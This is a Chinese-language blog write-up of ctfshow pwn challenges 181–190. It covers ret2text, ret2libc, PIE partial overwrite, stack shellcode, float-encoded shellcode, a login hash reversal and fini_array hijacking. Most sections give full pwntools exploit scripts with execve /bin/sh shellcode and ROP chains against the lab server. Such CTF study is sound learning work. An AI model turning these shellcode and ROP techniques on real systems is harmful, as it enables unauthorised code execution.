前言

这段时间没搞过pwn了,发现ctfshow wp更新了,那就来学一下吧😋(绝对不是这个原因🙅)

随缘更~~

181–ret2text

直接就是栈溢出了

image-20241117145004612

能覆盖返回地址三字节

image-20241117151046230

函数表里面有个Mid函数读flag,直接返回即可

image-20241117151616195

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#coding:utf-8
from tw11ty import *
#from ctypes import *

if __name__ == '__main__' :
# context.log_level = 'info'
IPort = 'pwn.challenge.ctf.show 28220'
pwnfile = './181'
libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
elf = ELF(pwnfile)

io = init(pwnfile, IPort, libc_name)
# debug('b *0x80487c1')

payload = b'a'*0x16 + b'\xD6\x85\x04'
sl(payload)

itr()

182–重定向输出

1
2
3
4
5
6
int init()
{
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
return fclose(_bss_start); //关闭标准输出
}

image-20241117152532221

183–ret2libc

栈溢出,打ret2libc hint给了libc

image-20241117153544110

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#coding:utf-8
from tw11ty import *
#from ctypes import *

if __name__ == '__main__' :
# context.log_level = 'info'
IPort = 'pwn.challenge.ctf.show 28312'
pwnfile = './183'
libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
elf = ELF(pwnfile)

io = init(pwnfile, IPort, libc_name)
# debug('b *0x80487c1')
prdi = 0x0000000000400873
ret = 0x0000000000400546

ru(b'0x')
puts_addr = int(r(12),16)
leak('puts_addr', puts_addr) # libc6_2.27-3ubuntu1.5_amd64
libc = LibcSearcher("puts", puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
leak('libc_base', libc_base)

payload = b'a'*0x68 + p64(ret) + p64(prdi) + p64(bin_sh) + p64(system_addr)
# debug('b *0x4007c5')
sl(payload)

itr()

184–pie_修改低位

栈溢出

image-20241117155254002

开了pie,覆盖返回地址低2字节为0x?735(bin)

image-20241117155719759

十六分之一的概率,没有写爆破脚本

image-20241117160033819

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#coding:utf-8
from tw11ty import *
#from ctypes import *

if __name__ == '__main__' :
# context.log_level = 'info'
IPort = 'pwn.challenge.ctf.show 28107'
pwnfile = './184'
libc_name = '/lib/i386-linux-gnu/libc.so.6'
elf = ELF(pwnfile)

io = init(pwnfile, IPort, libc_name)
# debug('b *$rebase(0x077d)')

payload = b'a'*0x20 + p16(0xa735)
s(payload)

itr()

185–ret2shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int ctfshow()
{
char s[36]; // [esp+0h] [ebp-28h] BYREF

puts("What's your name?");
fflush(stdout);
gets(s);
puts("What's your favorite PWN's Type?");
puts("1.odd number is stack\n2.even number is heap");
fflush(stdout);
__isoc99_scanf("%d", &type);
if ( (type & 1) != 0 )
printf("Hello %s,%d is interesting", s, type);
else
printf("Hello %s,%d is challenging", s, type);
return fflush(stdout);
}

知识点

printf 这样的函数不是直接打印到屏幕上的,而是先放在一个缓冲区中(stdout)中。如果收到了一个换行符,就会把这个缓冲区的内容打印到屏幕上,并清空。而 fflush 的作用就是直接把缓冲区的内容打印到屏幕上,并清空缓冲区。不必等换行符。

不好二次挟持控制流,由于没开NX,往栈上写shellcode 找一些有关esp的gadget来调栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#coding:utf-8
from pwn import *
from tw11ty import *
#from ctypes import *

if __name__ == '__main__' :
# context.log_level = 'info'

IPort = 'pwn.challenge.ctf.show 28272'
pwnfile = './185'
libc_name = '/lib/i386-linux-gnu/libc.so.6'
# libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
elf = ELF(pwnfile)
rop = ROP(pwnfile)

io = init(pwnfile, IPort, libc_name)
# system_addr = elf.sym['system']
puts_plt = elf.sym['puts']
puts_got = elf.got['puts']
printf = elf.sym['printf']

# 0x08048531 : mov ebp, esp ; pop ebp ; jmp 0x80484c0
# 0x08048451 : push esp ; mov ebx, dword ptr [esp] ; ret

payload = b'\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80'.ljust(0x2c, b'\x00') + p32(0x08048451) + asm("sub esp, 0x30; mov eax, esp; call eax")
# debug('b *0x8048737 ')
sla(b'What\'s your name?', payload)
sla(b'1.odd number is stack\n2.even number is heap', str(1))

itr()

186–shellcode绕过

由mmap创造出来了一片可执行区域

image-20241117160836895

check函数 反转字符串

image-20241117161504317

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#coding:utf-8
from tw11ty import *
#from ctypes import *

if __name__ == '__main__' :
# context.log_level = 'info'
IPort = 'pwn.challenge.ctf.show 28217'
pwnfile = './186'
libc_name = '/lib/i386-linux-gnu/libc.so.6'
elf = ELF(pwnfile)

io = init(pwnfile, IPort, libc_name)
# debug('b *0x8048809')
sh = asm(shellcraft.sh())[::-1]
s(sh)

itr()

187–浮点数shellcode绕过

pctf 2016 fixedpoint

https://www.voidsecurity.in/2016/04/plaid-ctf-2016-fixedpoint.html

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <stdlib.h>
#include <sys/mman.h>
#include <stdio.h>

int main(int argc, char** argv) {
float* array = mmap(0, sizeof(float)*8192, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
int i;
int temp;
float ftemp;

for (i = 0; i < 8192; i++) {
if (!scanf("%d", &temp)) break;
array[i] = ((float)temp)/1337.0;
}
write(1, "here we go\n", 11);
(*(void(*)())array)();
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#include <stdio.h>
#include <string.h>
#include <capstone/capstone.h>

// gcc -std=c99 -o fixedpoint_disass fixedpoint_disass.c -lcapstone
// usage : ./fixedpoint_disass -100000 100000

int disass(unsigned int num, char *code) // 使用 Capstone 反汇编框架将传入的字节码进行反汇编,并打印反汇编的结果。
{
csh handle;
cs_insn *insn;
size_t count = 0;
size_t inssz = 0;

if (cs_open(CS_ARCH_X86, CS_MODE_32, &handle) != CS_ERR_OK) // 初始化 Capstone 句柄,指定架构为 CS_ARCH_X86 和模式为 32 位 (CS_MODE_32)
return EXIT_FAILURE;

count = cs_disasm(handle, code, sizeof(float), 0, 0, &insn); // 对传入的字节码进行反汇编

if (count > 0) {

for (int i = 0; i < count; i++) inssz += insn[i].size;

// 检查是否所有字节都被反汇编
if (inssz == sizeof(float)) {

for (int i = 0; i < count; i++)
printf("%d :\t%s\t\t%s\n", num, insn[i].mnemonic, insn[i].op_str);
}

cs_free(insn, count);
}

cs_close(&handle);
return 0;
}

int main(int argc, char **argv)
{
if (argc != 3) {
fprintf(stderr, "Usage: %s <from> <till>\n", argv[0]);
return EXIT_FAILURE;
}

int from = atoi(argv[1]); // 起始整数(可能是负数)
int till = atoi(argv[2]); // 结束整数(可能是负数)
char opcode[8] = {0};
float bytes;

for (int num = from; num <= till; num++) {
bytes = num / 1337.0;
memcpy(opcode, (char *)&bytes, sizeof(float)); // 将浮点数的字节拷贝到opcode数组
disass(num, opcode); // 反汇编
}

return 0;
}

扩大范围找到可用gadget即可

image-20241117163751508

这里直接抄了(偷懒zzz)

由于没开NX,可以往栈上写shellcode执行,控制一下寄存器就行了

攻击思路:先构造一个read来往栈上写shellcode,然后调整寄存器值,利用call

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#coding:utf-8
from pwn import *
from tw11ty import *
#from ctypes import *


if __name__ == '__main__' :
# context.log_level = 'info'
IPort = 'pwn.challenge.ctf.show 28258'
pwnfile = './187'
libc_name = '/lib/i386-linux-gnu/libc.so.6'
elf = ELF(pwnfile)
rop = ROP(pwnfile)
libc = ELF(libc_name)

io = init(pwnfile, IPort, libc_name)
# debug('b *0x8048712')
sh = asm(shellcraft.i386.linux.sh())
s(b"-22942\n") #mov ecx,eax (array postition)
s(b"-3701\n") #xor eax,eax
s(b"64931\n") #inc eax
s(b"64931\n")
s(b"72953\n") #inc eax, pop edx (eax=3, edx=a big number)
s(b"73320\n") #pop ebx until ebx=0
s(b"73320\n")
s(b"73320\n")
s(b"73320\n")
s(b"73320\n")
s(b"73320\n")
s(b"21526\n") #int 0x80

# debug('b *0x8048712')
s(b"0\n"*(8192-12))
ru(b'go')
s(b"\x90"*0x100+sh+b'\n')

# debug()
itr()

188–login爆破

爆破完了就是ret2libc

image-20241117164042140

爆破脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import string

def reverse_hash(target_v3):
MOD = 2018110700000
MULT = ord('u')

charset = string.ascii_letters + string.digits + string.punctuation

def reverse_step(v3):
for char in charset:
char_value = ord(char)
if (v3 - char_value) % MULT == 0:
return char
return None

def find_string(v3):
result = []
while v3 > 0:
char = reverse_step(v3)
if char:
result.append(char)
v3 = (v3 - ord(char))
else:
break
return ''.join(reversed(result))

return find_string(target_v3)

target_v3 = 22493966389

possible_str = reverse_hash(target_v3)
print(f"Possible string: {possible_str}")

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#coding:utf-8
from pwn import *
from tw11ty import *
from LibcSearcher import *
#from ctypes import *


if __name__ == '__main__' :
# context.log_level = 'info'
IPort = 'pwn.challenge.ctf.show 28182'
pwnfile = './188'
libc_name = "/lib/x86_64-linux-gnu/libc.so.6"
# libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
elf = ELF(pwnfile)
rop = ROP(pwnfile)
# libc = ELF(libc_name)

io = init(pwnfile, IPort, libc_name)

sla(b'Please input your name:', b'wyBTs')
prdi = 0x0000000000400a93

payload = b'a'*0x78 + p64(0x0000000000400a93) + p64(elf.got['puts']) + p64(elf.sym['puts']) + p64(elf.sym['ctfshow'])

# debug('b *0x004008CC')
sla(b'Please input your code to save\n', payload)
puts_addr = uu64(r64())
libc = LibcSearcher("puts", puts_addr)
libc_base = puts_addr - libc.dump("puts")
system_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')

payload = b'a'*0x78 + p64(0x0000000000400a93) + p64(bin_sh) + p64(0x000000000040028e) + p64(system_addr)
sla(b'Please input your code to save\n', payload)

# debug('b *0x04009F5 \n tele 0x0602080')
itr()

189–fini_array利用

静态编译去了符号表(恼)

由_start找到main,稍微修复一下,这里题目比较简单就手动修复了

符号表修复方法:

  • 基于签名文件的符号表还原
  • FLIRT
  • RIZZO
  • Lscan
  • Syms2ELF
  • 基于BinDiff的符号表还原
  • Zynamic Bindiif
  • Diaphora

image-20241117165618261

结合调试发现能过够实现任意地址一次写

使用fini_array来进行利用。byte_4B9330为2字节长度,循环256次后会上溢

fini_array利用:fini_array劫持 - 先知社区

image-20241118184831662

libc_csu_init 在 main 开始前执行 , libc_csu_fini 在 main执行完后执行

后面需要再利用ret2syscall进行调用execve(‘/bin/sh’, 0, 0)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#coding:utf-8
from tw11ty import *
#from ctypes import *
def _(addr, data):
sa(b"addr:", str(addr))
sa(b"data:", data)

if __name__ == '__main__' :
# context.log_level = 'info'
IPort = 'pwn.challenge.ctf.show 28122'
pwnfile = './189'
libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
elf = ELF(pwnfile)

io = init(pwnfile, IPort, libc_name)

fini_array = 0x4b40f0
main = 0x401B6D
libc_csu_fini = 0x402960
bss = 0x4b92e0

prax = 0x000000000041e4af
prdi = 0x0000000000401696
prsi = 0x0000000000406c30
prdx = 0x0000000000446e35
syscall = 0x00000000004022b4
lret = 0x0000000000401c4b
ret = 0x0000000000401016

pop = fini_array + 0x10

_(fini_array, p64(libc_csu_fini) + p64(main))
_(bss, b'/bin/sh')
_(pop, p64(prax) + p64(59) + p64(prdi))
_(pop+0x18, p64(bss) + p64(prsi) + p64(0))
_(pop+0x30, p64(prdx) + p64(0) + p64(syscall))
# ru(b'addr')
# debug('b *0x0401B94') #看rbp来判断执行leave ret实现栈迁移
_(fini_array, p64(lret)+p64(ret))

itr()

190–32位非栈上格式化字符串

改fgets_got为system需要泄露libc,远程libc版本为2.27-3ubuntu1.6_i386